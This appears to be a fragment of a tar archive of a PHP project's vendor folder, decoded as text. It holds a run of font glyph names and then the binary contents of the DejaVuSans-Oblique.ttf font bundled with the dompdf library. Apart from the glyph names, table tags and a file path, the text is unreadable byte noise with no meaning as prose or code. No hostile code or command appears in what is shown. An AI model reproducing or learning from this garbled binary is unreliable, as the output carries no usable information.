D17uni2D18uni2D19uni2D1Auni2D1Buni2D1Cuni2D1Duni2D1Euni2D1Funi2D20uni2D21uni2D22uni2D23uni2D24uni2D25uni2E18uni2E1Funi2E22uni2E23uni2E24uni2E25uni2E2EuniA644uniA645uniA646uniA647uniA650uniA651uniA654uniA655uniA656uniA657uniA698uniA699uniA708uniA709uniA70AuniA70BuniA70CuniA70DuniA70EuniA70FuniA710uniA711uniA712uniA713uniA714uniA715uniA716uniA71BuniA71CuniA71DuniA71EuniA71FuniA726uniA727uniA728uniA729uniA72AuniA72BuniA72CuniA72DuniA72EuniA72FuniA730uniA731uniA732uniA733uniA734uniA735uniA736uniA737uniA738uniA739uniA73AuniA73BuniA73CuniA73DuniA73EuniA73FuniA740uniA741uniA746uniA747uniA74AuniA74BuniA74EuniA74FuniA768uniA769uniA77BuniA77CuniA780uniA781uniA782uniA783uniA784uniA785uniA786uniA787uniA78BuniA78CuniA78DuniA790uniA791uniA7AAuniA7F8uniA7F9uniA7FAuniA7FBuniA7FCuniA7FDuniA7FEuniA7FFuniF400uniF401uniF402uniF403uniF404uniF405uniF406uniF407uniF408uniF409uniF40AuniF40BuniF40CuniF40DuniF40EuniF40FuniF410uniF411uniF412uniF413uniF414uniF415uniF416uniF417uniF418uniF419uniF41AuniF41BuniF41CuniF41DuniF41EuniF41FuniF420uniF421uniF422uniF423uniF424uniF425uniF426uniF428uniF6C5cyrBrevecyrbreveuniFB00uniFB03uniFB04uniFB05uniFB06uniFE00uniFE01uniFE02uniFE03uniFE04uniFE05uniFE06uniFE07uniFE08uniFE09uniFE0AuniFE0BuniFE0CuniFE0DuniFE0EuniFE0FuniFFF9uniFFFAuniFFFBuniFFFCuniFFFDu1D400u1D401u1D402u1D403u1D404u1D405u1D406u1D407u1D408u1D409u1D40Au1D40Bu1D40Cu1D40Du1D40Eu1D40Fu1D410u1D411u1D412u1D413u1D414u1D415u1D416u1D417u1D418u1D419u1D41Au1D41Bu1D41Cu1D41Du1D41Eu1D41Fu1D420u1D421u1D422u1D423u1D424u1D425u1D426u1D427u1D428u1D429u1D42Au1D42Bu1D42Cu1D42Du1D42Eu1D42Fu1D430u1D431u1D432u1D433u1D6A8u1D6A9u1D6AAu1D6ABu1D6ACu1D6ADu1D6AEu1D6AFu1D6B0u1D6B1u1D6B2u1D6B3u1D6B4u1D6B5u1D6B6u1D6B7u1D6B8u1D6B9u1D6BAu1D6BBu1D6BCu1D6BDu1D6BEu1D6BFu1D6C0u1D6C1u1D6C2u1D6C3u1D6C4u1D6C5u1D6C6u1D6C7u1D6C8u1D6C9u1D6CAu1D6CBu1D6CCu1D6CDu1D6CEu1D6CFu1D6D0u1D6D1u1D6D2u1D6D3u1D6D4u1D6D5u1D6D6u1D6D7u1D6D8u1D6D9u1D6DAu1D6DBu1D6DCu1D6DDu1D6DEu1D6DFu1D6E0u1D6E1u1D7CAu1D7CBu1D7CEu1D7CFu1D7D0u1D7D1u1D7D2u1D7D3u1D7D4u1D7D5u1D7D6u1D7D7	dlLtcaronDieresisAcuteTildeGrave
CircumflexCaronuni0311.caseBreve	DotaccentHungarumlautDoublegraveiogonek.dotlessuni0268.dotlessdotaccent.iuni029D.dotlessuni1E2D.dotlessuni1ECB.dotlessEng.alt
brailledotuni03080304uni03040308uni03070304uni03080301uni03080300uni03040301uni03040300uni03030304uni0308030Cuni03030308uni030C0307uni03030301uni03020301uni03020300uni03020303uni03060303uni03060301uni03060300uni03060309uni03020309uni03010307g.altEng.alt2uni01B7.altq.smcp
delta.smcp
theta.smcpxi.smcp
sigma.smcpphi.smcp
omega.smcpexclamdown.casequestiondown.caseuni2E18.casegermandbls.smcpUring.ringless
Dcroat.alt
dcroat.altuni01E4.altuni01E5.alt��@���K��
��2ǻƻ�Ė�����G�}�G�0�}���������
��&�
�@���������
�7��
�!�7����2����.����������+���t�+�t��������
�������]������%�]�@���%�������@����@�����
���d���t�d�����@��
��
��
�2�
���}���t�}���t�2�����q��
��
@~t~�}|}�|{z�{�zy]z�z�yx%y]y@x%w7vtvkutu�ts�rqr�qq�po.p�o.n�m�lkKj
h�g
g@f!e}d�@�ckb�a}`�^]]�[YXY-XW2VTST�SRQPQ%PPOONMN}MI
MM@LL1KK2JI
J}I
HG
H}G
FE
F2EDE
E���@�DCBC�BA@A}@6	@@�?=)?�>=)>]==)<;<;:;:9
:9
878}76	77�6	6@545�4+	43	3�2)
2�100/$)/7.!
.-,-�,+	,,@+	*&*)
)@('(�'&''@&%$)%�$!$)#!#�"!
"�! !
!�  @!*@�-:!}22!�)k!)
!-}	-��

�@
	
�	�

@�@���d��+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++vendor/dompdf/dompdf/lib/fonts/DejaVuSans-Oblique.ttf000066600002331030151150442760016615 0ustar000FFTMs���<GDEF^�^�X�GPOSqm# Q$GSUBv�TD�OS/2��jb�Vcmap�0@c8:cvt ���&vtlfpgm�j��w��gaspxlglyf|��xxnhead�h�|6hhea���$hmtx�9d���S�kernj3�:�0locaD�(R�S�maxpP	�d name�0���=bpost6�QL���!prep��"	��=����)��)��F�����������������������	



  !%&&'deefghopvw|}�
&
'
'
(
1
2
4
5
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�}~���������������������������
�BDFLTzarab�armn�brai�cans�cher�cyrl�geor�grekhanihebr"kana0lao <latnLmath�nko �ogam�runr�tfng�thai���KUR  SND  URD  ������������MKD SRB ��������������4ISM 4KSM 4LSM 4MOL 4NSM 4ROM 4SKS 4SSM 4��������������kern,kern2mark:markDmarkLmkmkTmkmkZ
	"*4<DLT\dv~l�,��	$
"
h
6�`��(�A
M�N>X &,�����w��T��t��n���ehijknw| &,28�.~�!~�(~�~� ~�*~$�C��olm
������
,28>DJPV\bhntz����������������������������/�t����������������������(����/�t���������������������������������FLRX^djpv|��������5�5�7�A�A�5�7�9�4�<�;�7�2�6�9�5�68��8rx~��������������������� &,28>DJPV\bhntz������������>h�>h�>h�.�.��.�-�.�Q��]�>h�?h�+��+��>h����;D�����.�4��D�D�C�C�5�*��5qnqnqnqn���������?h�?h�����.�.�����������������������������%��������������	!
�
�'��.��/��0��7������������
�
�%��,��78�����$*06<BHNTZ`flrx~��������������������� &,��{��{��{�������������������{��{��{��{��{��{��{�w�������{��{�����������{��{��{����{������{��{������������������{��{��{��{��{��{��{��{��{��{��{��{�$>DJPV\bhntz��������������������U���,����!���8�z���Q�'�nuuG'D&28>DJPV\bhnt���������������06<BHNTZ`flrx~���������~�=0^000��0!0��0�=�0A0T001�0k��0P0�=20t'-/35578
:;=A���00&8+`�`,`(2; �
a`T`�6>DJPV\bhntz�������������������$k,y+y�y��Xy.z�w�w�h
y�y�y�M[�/[>t�g4Y+y�{�u�����u �-J�J��Hbvv����ehijknwxyz{|28>DJPV\bhnt�6t�b�b�b�b�6t�.~�!~�(~�~� ~�*~�:@FLRX^djpv|����������������HM��LJ�
T�@O������@,��=�U.���*LT�E��H^`b��lmo������ Z	�R�	������	��
������!"#�������������������$*06<BHNTZ�
�������5�5�7���A���A���4��� �������7���A���9���4������;���;���������������7���2���6������4���9���4���4���9���5���6��fl"FLRX^djpv|���������������������U�����.�,T�����V�����,@D�RD��R��"$'(+,28<=DGHKLRX\]���Yayz{*7T���������(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~��������������������� &,28>DJPV\bhntz����������������������
"(.4:@FLRX^djpv|����'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�����'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'���'�'�'�'�'�'�'�'�'�'�'���'�'�'���������������������'�'�'�'���������������������������������������'�'�'�'�'�'�'�'�'�'�'�'�'�������o���'�'�&$=D]��4��5��6��8��:();AA=HH>QR?YYAaaBy{CFGHI**J77KTTLM��NO��Y��\��^_��a��c��g��r��z{
!���������
'�'�bNj$*06< �ql�@H�P	�����-��
��{��{�~�.^djpv|���������������������$*06<BHNTZ`fl��[����,s������������l����,@D�RD�����R��`���v�.$'(+012=DGHKLPQR]�����HQRYayz{*7T���� ��
��������,28>DJPV\bhntz����������������������
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~��������������������� &,28>DJPV\bhntz����������������������
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~���������������������						 	&	,	2	8	>	D	J	P	V	\	b	h	n	t	z	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�






"
(
.
4
:
@
F
L
R
X
^
d
j
p
v
|
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�$*06<BHNTZ`flrx~��������������������� &,28>DJPV\bhntz�����������������*+�[[
�q�q�R
�d�
���`+d<�,�K2���R�^�R-�z7�R�R���<����R��v����n��[�9�9�R��h�l��v�R��\�z�R,@D�R���Ev+`+%F�RZ�R�����R� �DE��R����������R��R�R4�R��R�R��gU�R.�R~R�RO�R�R�R |�R<�R;�R}�RF\��RU�RU�RY�RU�Rl�R>�R������R���R��R�z�R���4��^�R�R��R�j>�Rr��R_�Rq�R��R�������[[���9����9��DPPP�##���������R[�����������L�y��t����QLBR�Rf��,4$�R'��_�z�Rf4���L���}�`�R�e
�c�*,*L����R�-��^�G�q4�����R
�R��E�R�R��R�R��V�od��sk	k����R�:�`���R�R��RI��RO�R�R
�Rd7��R
-d7���f��U�<���v;��<\���R�&��R�x9��\��w����������R��6�RP$=
D]$��>��?��@��A��B��D��F��H��I

JK()LAANHHOQRPTTRYYSaaTllUvvVy{W��Z]geik�mm��GG�MM�����������##�44�}~�cd�pq�sx�{������������		�
�
��
�
��
�
��
�
�
�
�
�
�	
�
�

�
�
�
�
�
�
�
�
�
���������/2��4��6��:��<��HV!ZPbpzz�||����������������	������	��
������!"#�������������������$*06<BHNTZ�
�������5�5�7���A���A���4��� �������7���A���9���4������;���;���������������7���2���6������4���9���4���4���9���5���6�����W��������������
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~��������������������� &,28>DJPV\bhntz����������������������
"(.4:@FLRX^djpv|���������������������							$	*	0	6	<	B	H	N	T	Z	`	f	l	r	x	~	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�





 
&
,
2
8
>
D
J
P
V
\
b
h
n
t
z
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~���������������������





 
&
,
2
8
>
D
J
P
V
\
b
h
n
t
z
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
"(.4:@FLRX^dlrx~���������������������
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~���������������������
$*06<BHNTZ`flrx~��������������������� &,28>DJPV\bhntz�����������"�"�"�"�"�"�"�"�"�"�]�R���c�$�4���������4���	�����4������~�R���c���O��{��{���{s��{���/�/����X{�{�{>{{L{�{���{�{�{�{�{�{��U{��{]��{��M���h{{�{�{	���s������������\����������3����������)�*��{�������/�=���{T��{O�c�({����{��{{R���R�3��{���/����{	��{�{�{�{��^{{�����{�{�{�{�{�{`{�{$�{{�{�{{����/�{�{)�������]{�{�{"{!{�{�{�{[{Z�{8�@{�{�{�{�{%{;{�{�����{���{���{�{�{�{�{���{�{�{�{�{@���@������{�{6�{�/G{�{$�@�����������{�������{6��{��{����{{��{�{���{
{�{�{�{E{�{@{�{��Z��{{�{c{�������]�R�R�/�*�$���
������	�������4������c���H��������R���
�v��{+��{�{�{�{
{�{�{�{j{w{�{�{{>{{�{�{+��{+{�{{7{x{{�{${i{�{{�/�/l{e{��+{U��{���{
�h{��{��{���{��{�������{��{3�{�){��{���{�������{��{�{{�����{�{c��{�{���{j{�{���{�z�{�{{�{�{�{�{{�{w{�{�{#{/{/{/{�{�{t{�{�{{�{���{r{�{�{j{{c���c���c���c���)�x�L�B�R�f�����,�4�${�'�����_���z�f�4��D����L��������}1�{`{��e�������4�8��{������T���t��{��1���T�={�&{�{��q{���{�{W�����{��8{
�i{�{j{w{���{�L{��{�{�{��{����8�d��{�{��C{��b{D�M{���{���q��{��"���>���?{��{3�{>�7{���{����q��{��"{H������{���{4������{�L{��{�����{����	���b�����<��\���������&�����R���x�9����{\{����w������������������{�{���h{h{h{]�J{{�{^{�{s$=
D]$��>��?��@��A��B��D��E��G��H

IJ()KABMHIOPVQX]X__^aa_ff`ijalpct{h��p��qug}ik�mm��FK�MS�UU�W^�ef�jj�ll�pp�xx�����������������%��;��<��>�A
P#$V+,X/6ZAAbDDcNNdYYe\\f}~g��i��j��l��m��o��pcdqpxs{�|�������������		�
�
��
�
��
�
��
�
��
�
��
�
��
�
��
�
��
�
��
�
��
�
��
�
���������������������������������������
!Pb*zz=||>��?��I��L��N��O��Q��R��V��������!#$)
�
�/��6��AB
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~�����{��{��{��{��{��{��{��{��{��{��{��{��{��{��{��{�\{��{��o��r��r�{�Gr��{��{��{��{��r��{��{��{��{��{��{��{��{�S{�A{�{��{��{�5{�5{�5{�5{��{��{��{��{��{��{��{��{��{��{��{��{��{��{��{��{��{��{��{��{��{`�
^&�k������k&&�k�����k����������&&�����������������2��������������������a���u�k���<�������D����&�������&���
��D�D�)���a�
�2�Y�N����N��u�}�����k���Y�a�����������D�����������N�a����D����D��D�����������^�D���Y�}�a��&&�k��������������&&���kK�
K/������������k����������������������k���k��������;$$%%&&))..//2233	44
667799
::;;<<==IIUUYYZZ\\������������
������������������������������  ""&&::??}}	�	�






	
	����U$$&&22446677	88
99::;;
<<DDFFHHIILLRRUUVVXXYYZZ\\������������
������������������������������������  !!""##$$ &&	++!--!//!00
1133!55!66"88#::���� ��#��"��"��"��#

$

%

$

%�A$%&)./234679:;<=IUYZ\��������������������������� "&:?}	�



	��`$X��������#;#')-/3
59
0DFLTzarab�armn�brai�cans�cher�cyrl�georgrekhani hebr,kana>lao JlatnVmath�nko �ogam�runrtfngthai��KUR SND URD ������	������MKD SRB ����������������FCAT ZESP ZGAL ZISM bKSM bLSM bMOL vNSM bROM vSKS bSSM b��

����

��

������������aalttaaltzaalt�case�ccmp�ccmp�ccmp�ccmp�dlig�dlig�dlig�hlig�hlig�liga�locl�locl�salt�salt�salt�	

:BJdlt|����������������$�>
�f�n��@�����
^n~				8	V	l	�	�	�




"
*
2
D  B9&&99���H8LM�*_������������������������������������3�
�
�
�
�
�
�k$=EEGGIIKKLMNOWW�����������������������������������������������������������		  ""$$&&((**,,..0022446688:;==??AAHHRRTTVVyz����������������������**__��������������������������33��
�
�
�
�&&$$4F������$$4F���$$4F���$$4F���$$4F������(0���#&.6���'')+.6���,-/0.6���1355(0���69
��0D���6"(�IO�IL�OL~II�3'B8	
�������������WV�WA�(:FPZfr
4"
'
3
2"
�$;
�V
�0
�(/
�F
�X
�R")567DF
k 
k hgiefkj$:@GMU[hgiefkj$:@GMU[����,-DO*"&�����,-DO\
T9������������������������ 
���!���������
LM�*_���3�
�
�{��������������;;;;;�����c�)�3�63��E�f��R��
$ ! PfEd ����m�`��,
�0,
�h��~����OSXZbw���%V_������?��������������������5JR��>Pj�����Gv#.[jx{}����EMWY[]}������� d q � � � � � � � � �!	!I!K!N!�!�###!#(#,#u#z#}#�#�#�#�#�#�#�$#$i&�&�&�&�''	'''K'M'R'V'^'�'�'�'�'�'�(�)))A)�)�)�)�***/*k*�*�*�++$+T,w,-%...%..M����G�M�Q�W�n���������+�A�K�S�W�g������������&�A����O��#���� ����QWZ\pz����1Ya�����?��������������������	7LT��@Rt����Fn&0]w{}��� HPY[]_�������  j t � � � � � � � �!!!K!N!P!�!�###$#+#s#z#}#�#�#�#�#�#�#�$"$`%&�&�&�'''')'M'O'V'X'a'�'�'�'�'�'�))
)@)�)�)�)�***/*j*}*�*�+++S,`,y-..."..M��ЦD�L�P�T�b���������"�0�F�N�V�d�������������(������ �������������������������������������������a�_�W�R�������������������������������������������������������������������p�o�m�l�k�_�]�\�U�@�<���������������������������������������������������������A�=�;�2�&� ���������v��������������������m�h�d�^�\�(�����{�w�n�\�"�������������	��pl�k\kXkVkTkJk/k)k'j�j�j�j�j�j�j�j�j�j~j}joj"#"<;�~rm���
�� ~��b���������O�QSWXZZ\bpwz����#��$�%81V�Y_�a��������%��'��B??G��H��J��K��M��N��O��S��Z��]��^��_��a��n��q��v��w��}����������	�5�7JLR#T�*�����>�@P
Rjt�4��F��S��c��dFGenvgp#�&.�0[�]j�wx�{{�}}����������		 E	HM	DPW	JYY	R[[	S]]	T_}	U��	t��	���	���	���	���	���	�  d	� j q
P t �
X � �
s � �
� � �
� � �
� � �
� � �
� � �
� � �
�!!	
�!!I
�!K!K
�!N!N
�!P!�
�!�!�"!�####�##!�#$#(�#+#,�#s#u�#z#z�#}#}�#�#��#�#��#�#��#�#��#�#��#�#��#�#��$"$#�$`$i�%&��&�&�}&�&��&�&��''�''	�'''�')'K�'M'M�'O'R�'V'V�'X'^�'a'��'�'�%'�'�='�'�K'�'�M'�'�N'�(�T))d)
)f)@)Ah)�)�j)�)�l)�)�t)�)�u**w**z*/*/�*j*k�*}*��*�*��*�*��++�++$�+S+T�,`,w�,y,�--%..)..*.".%+..../M�M�0����p�D�G��L�M��P�Q��T�W��b�n�����������������������"�+��0�A��F�K��N�S��V�W��d�g�������������
����������"��&<�(�Ac����}��~�����O����� �#������� #���V��8�9P�;�>R�@�DV�F�F[�J�P\�R�kc��;}������0������.���<����K��Z�-�.b�1�1d�5�5e��#f�%�+��-�@��C�C�
	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a��������������������������������
rdei

x�pk
�vj����s��gw���U�l|>���cn�T��m}
b���	�	�



�
��:
/
�
$
%�
y

	
������������������q���z���#/��������77R��-������997�y���\�H/�����{Pf����o��������H��T���s�
�+����b-����{T�����������\qb���#�H�99`���```{w�`��{P�f�fw�;���{��J/��}5oo��-�{��Tf�f��q�D)fs��, �%Id�@QX �Y!-,�%Id�@QX �Y!-,  �P�
y ���PXY��%�%#� �P�
y ���PXY��%�-,KPX ��EDY!-,�%E`D-,KSX�%�%EDY!!-,ED-��f��f�@��D/���1����0!%!!f�s����r)���	@-			:HF	
����991/��0KSX����9Y"K�	TK�
T[K�T[K�T[X�
@

��878Y3#3#��Z�2q�1��q��e�������@IF����1�<�20#!#o�$���+��+�/�N@4L	L


	 ��91/<�<<�<<�<<�2�220!3!!!!#!#!7!!7!!!�h$i�gP'��RT$��h�g��g�h��%JT��'Pf8��T%��a��a�����b��b��N�����D���
/`@9
$ KOM+* K#M-*',+
-#$*

'0����9991/<���2�����2��90%>54&'.'#.'7.54$?3X��fs��_l""V�OT�����;d;t�S"\�jX���/d,Z���gT\Z�dFO�.2�U������-/*�>D�$�~���������#/3O@,W*WRW!W*R1$Q0V40-2
'
	
'	-
		4��������991�2�<�����0"&54324&#"3264&#"326"&5432#ሟ躈��HNMp~QKk�\LMoQKk����纈��.��ñ�������ij­\d���kjí]d��ò������
��
`����	3�@T//	///:0
/&
Z&%Y)Z"VQ
0/&,
%
3,3

4������999991/�����9990KSX��9�9�9Y"�]@X*:It����	�

	%	&
%&+)*%*&6
9%9&6/KIkxu/������]]	326#'#"$547.5467>32.#">7�Vy}��^�n-�g�jj�����.+E�xN�Q#K�F|�&E�KjX�g�A[���l��SUڴ�t._6Dz2RZ$$�/1�d,VX��O�z��o�@
IF��1��0#o���+���j
@
\


��9991��0#&5j����LL�\Z������ə�E�)G#����N
!@\


���9991��04'3
KL�\Z����KS�7����������=J��N@,
	]]
V
		
�<�2�<�2991��<�2��2990
%#'-73%��g:��r��:g��:PrP���b��y�b��c�y�����#@	`
�<�<�1/�<�<�0!!#!5!�-�Ө��-�Ӫ��-�-����@:bH���1��0KSX��9Y"K�	TK�
T[X�@��878Y@%%55FFVV]K�TX����878Y73#��!ぐ����@\���?@	c��991��0K�TX�@��878Y@
__oo]!!}����w{�Q@:H���91/�0KSX��Y"K�	TK�
T[K�T[X�@��878Y73#��1���j�Bj�.@:F���91��0KSX��Y"3#������mf����#D@d	dV	Q$!$����1����0K�	TK�
T[K�T[X�$@$$��878Y2#"547>"3267654&��e[]����g\\��L�7\murP�7[ku��������}����QO��uХ�QO��ѥ�d��
T@*	:ddFd		

����99991/�2����0KSX��2Y"7!7%3!!�J��#s��I ���}H�H�ժ���@,:eYdVd	���999991/�����990KSX�9�Y"K�
TX�@��878Y@(

,,eyuxy'4Ucv]]	!!7>54&#"7>32��{�#�7!��q�n_�%|�`��r�ר�Bu�]azDA�12Щr�����+�@+	d!KXd+KX(dVQ!g,! 	"+%,�����991���������90K�
TX�,@,,��878YK�
TK�T[K�T[X�,��,,@878Y@aff*a++]]>32#"&'732654&+732654&#"Dn�d�跡~vslR�^�c%^�d��������`�l�  ����&$�}x�L:9%%�43ˢhq���^g))%��

�@;




:dF
		���991/��<�290KSX������Y"K�TK�
T[K�T[K�T[K�T[K�T[X���@878Y@$:	+*):896fyu����]]33##!7	!q���!�C�D�^'7�f��3���`���)���� �@6   :dKOddFQ! 		!���9991��������90KSX��2Y"K�TK�T[K�T[X�!��!!@878Y!>32#"&'732$54&#"���H._1��{qP�Z�g%\�^����O�Z�ը��޾��\@E  �--갂�%%������*�@#	d	dk
Khj(VQ+
"+����91��������90K�
TX�+@++��878Y@`z{JJ
JJ*ZZ
ZZ*jj
jj*zz
zyz*��
��*��
��*��
��*��
��*��
��*��
��*��
��*-]]4&#"326.#">32#"5476$32��p�Ӂr��":�U�>I�p��kfF�i��mbg%�N�)�ﰄ��:�&(����UWӲ��_AF���������@:dF���991/��0KSX��Y"K�
TX�@��878YK�TK�T[K�T[X���@878Y@	')Zhxy]!#!����'��V��+D����/c@#$d	dd*VQg0$'-'!0��������991������990K�TK�
T[K�T[X�0��00@878Y4&#"3264&#"326#"&5467.54$32����˛���g�t���s���qx����گin-���q���r��D_t�tdz��+�{��Ӱ��"$�l��Ř��Z����*�@("K"d
kjh(dVQ+%
+����91������90K�
TX�+@++��878YK�
TK�T[K�T[K�T[K�T[K�T[X�+��++@878Y@FFFdddd����]?32#"&5467>32#"&32654&#"Z%:�U�>J�p��jgF�h��obh�ܲM�DŽp�҂r��!�&(UYӲ��^BF����v�������j#k@(:HlH����91/���0KSX����Y"K�
TK�T[X�@��878Y3#3#9�1�l�2�#����##	�@.			:HbHl
	
�����991���0KSX��9��Y"�]�]K�	TK�
T[K�T[X�
@

��878Y@%%55FFVV
]73#3#��#၏��1����@��^��M@*````:nm��291��90KSX����Y"	5�������Ѧ��`��@
``�<�21����0!!!!���������^��O@+````:nm�<�91��90KSX����Y"55����/��/�m��!�@F

:
K!NZHV


!"����9991/�����9990KSX���9�Y"K�TX�"@""��878Y@tt
ttt]%#7>32#7>?>54&#"�1�1f�j��kyhT8�NojTDm`P�h����98��g�bTB^\{�^�\YFj9LVGBw����4@Z@35"!4;or!o%5o
	ro%.A>
!"4811(A�����991��������2��990%#"&543273654!"!267# 476$3 "32654&�E�W��)�\�'�����������]���R��ǥ���UѼ�h�A��i�ā��re��s�JLƘ�IPG��0��'}r��������W]rfi�G���r~�����w�ߜp~�fy����
�@@	
	
:Z	F
	��91/<���90KSX��������Y"�]@,	
�
*HIHGWhgw�]]3#!#	!���>�`����]$�+���7� l@<:ZZFZs

 
!������9991/�����90KSX����Y"!2)!2654&#!2654&#Z�г�||�����TjE�ƃ��X-��z�՜�������ݨ�vlf�>�|aYV����S@
ZetZVQ 

 ���9991��������0K�
TK�T[X� ��  @878Y�o!].#"32$7# 476$32�)`�}���^<?�ɋy/w�z��{sz9Ѐ�b�a^��l�z��YY�348�X���G7��E@#
:ZF
Z


����99991/���0KSX��Y"! #!! 4&!Z�Za�vw����K��St���߿��y|z/�w�c��7
�Y@1:ZZFZs

	���991/�����0KSX����Y"!!!!!!Z�!�V�!�7h�!�=ժ�F���7��	T@-					:ZZFs		
���991/����0KSX����Y"!!!!#ZX!�qVP!����ժ�H��7\����#�@5"#!:!Zu!ZetZVQ$
$����9991��������990KSX�9�Y"K�
TK�T[X�$��$$@878Y%!7!# 47>32.#"326^N�����Ɵ����k���u)Z��_Q]��j�����oIO8���WUGG�^cyl�ۘ��-7��}@D
	:ZsF

	����9991/<�2��0KSX��������Y"3!3#!#Z�w�w��ˋ�#����d�+�97%�2@:F���91/�0KSX��Y"3#Z����+���f!�K@&	
:ZvF��9991��990KSX�9�Y"3+73267V��5��P!?��%����󪚾7��
�@G	




:F		

���991/<�290KSX��������Y"�]@j$%#675HXkixx�
	&&%'787=<IGFYX\[hfbbzxx~~����$]]3!	##Z�{
����������u�7���)7��9@:ZF���9991/��0KSX��Y"3!!X��!�^�Ө7��@Q	
	

	
	
:
F
	
����9991/<��290KSX��������Y"�]@�		)70
JC
x���
����
��&)(')	2547	5
DGJCI	F
XYWhfw�����	�
�������*]]!!###Z/�B7�����ž����+���7��	�@@			:F		
�����999991/<�2990KSX������Y"�]@P' ?6H[j��
")&5:=7IWY_hkw�������]]!3!#Z�����e����+��R����#D@	ZZVQ$ 
$�K�TK�
T[K�T[K�T[X�@8Y���1����0�0%]"32$7>54& 476$3 ���^<?Ƕ�[=@�E���{l8�<xp���L��i�x�⣡l�v��F�R�����������7��
_@/

	


:ZZF	
	

����99991/����0KSX����Y"��]!2!##32654&#Z�����u��l���}qվ����/�ϰ�itT����&~@,!!:'ZZVQ'$ 
'�K�
TK�T[K�T[K�T[X�@8Y���991�����990KSX�9�Y"�0(]�Vzz]# 476$3 #"32$7>54&����yl}9�<��������^<?Ƕ�[=@�A�P��������g��T��i�x�⣡l�v��7���@<:
	ZZF

	����9999991/<����9990KSX����Y"�X]@XYYYkkk{{{
]!2654&##.+#!2f��wu@U8�u-vz�{�#��ݼ/�mt��v��h�d��ջ�������'�@7
	
:
eYZYZ%VQ(
"(����99991�������90KSX�9�9Y"�	]@ ))993333	��]].#"!"&'732654&/.54!2�'e�]��O�y͠����w�y)o�o��[�yϗWk���67��HM,5����/0�EF��Z]&6��&Xh�s@!:ZF����99991/��20KSX�2�Y"�]@%%%>>OO]]``��]!!#!y� �����ժ��+w�����@<

	

:ZQF

����9991�2��99990KSX��9�9�Y"@!	

4	4
444
444]K�	TX�@��878Y�]332673!"$5467=˰	����.�˴;�����

�u=O������\����#W2����@&:F��91/�290KSX����Y"�]@0*(8GGXWgieyyw����h��]]!33�����������+�)�@I	
	
	


:
F
	
��91/<�2290KSX��������Y"�]@�	
()&
;;3
KF
��
�
���
')$)+*(-	&
*6756
68KGCH
GVVgihggyx�����	�
������1]]333##��H3�J-�h�E���
��
��+�#����M@I	


:F	

��91/<�290KSX��������Y"�]@�	)+):8;IJIYZhhhy�����		
''()())&	(8::665	5
8FFGGD	F
HYYXT	T
Xffehfggfe	e
fzzzyu	u
��������	������	�
����	�
I]]3	3	#	#���s��������7��u��#�h��@7:F	����9991/�290KSX������Y"�]@:(9IIZY{y������$5Vj������]]3	3#���[�ʉ��f��9�����	P@:ZFZ	

��91/���0KSX��Y"�x]@����w]]!!!7!��{� �=��w՚�o���R��\Q@!:oo\������991����0KSX��Y"��]��]!#3!������X������B�0@:F���91��0KSX��Y"#X����m������D@ :oo\������991����0KSX��Y"	!73#7����X�+��ޏ�����@
F��91��290	#	#��H�H�����u-�����o��1��0!5�������fk���91��0K�	TK�T[X���@878YK�	TK�
T[K�T[K�T[K�T[X�@��878Y@
DDUgv�]#Jњ�f��vT��`{ +@d

#"$!)*(+:+(!!o(LK{LzQ+"!
%%#%	",�	]�Բ?]�99991/�������99990KSX��9�9�9�9�9Y"�0]@.<<O[[jjzz��2C@TPd`tp��]]@�
���
�!�"�#�$�+	]@
�-�-�-p-P-?-]#7#"&54$)7>54&#"7>32#"3267L}�"Q���9
��Z�d h�]��
Ѹ��ob��$���dc����1Yc..�''��!Y~yXd״J���%�@M
	$#$#"$# !#$#$#%$$#:!LLQz$\""#%	!#$$%#$&�#]�Դ�]�999991/�����990KSX��9�9��9�9Y"�`']��'�']4&#"3267>>32#"&'#3��uU�7:C�sW�89F��D�p��wnH�gm�2!�/����SOS�m��QOR�m\i�Ƣ��vNTdc�^��J{K@KN
LKNLzQ 
" ���9991�������0K�TX� ��  @878Y.#"3267#"&547>32J%B�PX�6V^��L�]#P�Y��}{T�N�5�00>9W�}��..�!!�Ϯ%uPR#^��%�@L 
: LLQz\%"&�]��@_?]�999991/�����990KSX�9���9�9�9Y"�`'�'�']%#"&547>323#3267>54&#"XJ�{��vpJ�fl�-x��ѹ��tV�8;D�sW�5:E�ad�Ǧ-wOShab�����SQT�k��RMS�^���{	&�@$o
KNL
|L!zQ'
$	#$#"'�]��@�$�$�$_$?$]�99991��������0�p(]@,oooolo	o
oo$o%o&����������]]�6]@	�(�(�(?(]>54&#"!3267#"&547>32��{��65����x�\#c�m�}yN�y���"z����&,��64�((�ͯ-vJP�.i���@<
	:o}\~


		�K�	TK�
T[K�T[K�T[K�
T[K�T[K�T[K�T[K�T[X���8YĴp`]̴�P]991/�2���2990KSX�9���Y"��P@]#"!!##737>3��d[/�Ѿ����&���Oic��/яNƠB�V�{.�@X"#!-., 
